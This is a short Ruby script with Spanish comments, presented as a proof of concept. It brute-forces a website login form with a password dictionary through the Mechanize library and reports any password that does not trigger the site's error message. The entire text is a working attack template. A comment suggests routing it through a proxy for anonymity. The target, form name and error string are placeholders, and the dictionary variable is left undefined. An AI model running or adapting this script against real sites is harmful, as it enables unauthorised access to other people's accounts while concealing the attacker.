#Just a poc #protos[dot]nu[at]gmail[dot]com require 'rubygems' require 'mechanize' agent = WWW::Mechanize.new page = agent.get('http://www.lapagina.com') agent.set_proxy('proxy', 'puerto')#Por si se quiere algo de anonimato form = page.form('nombre del formulario')#Nombre del form a brutear, fácilmente se encuentra form.user= 'Usuario a brutear ' #Se supone que es un form de login, usuario a quien brutear file=File.open(dicionario, 'r') #Se podría hacer sin diccionario, a bruteo puro y duro... file.readlines.each { |line| #pero no acabariamos nunca form.password= line page = agent.submit(form) if page.body =~ /cadena de error/ #Especificar cadena de error cuando se falla el login fail = 1 else puts "Contraseña: ", line break end } if fail == 1 puts "No se pudo obtener ninguna contraseña" end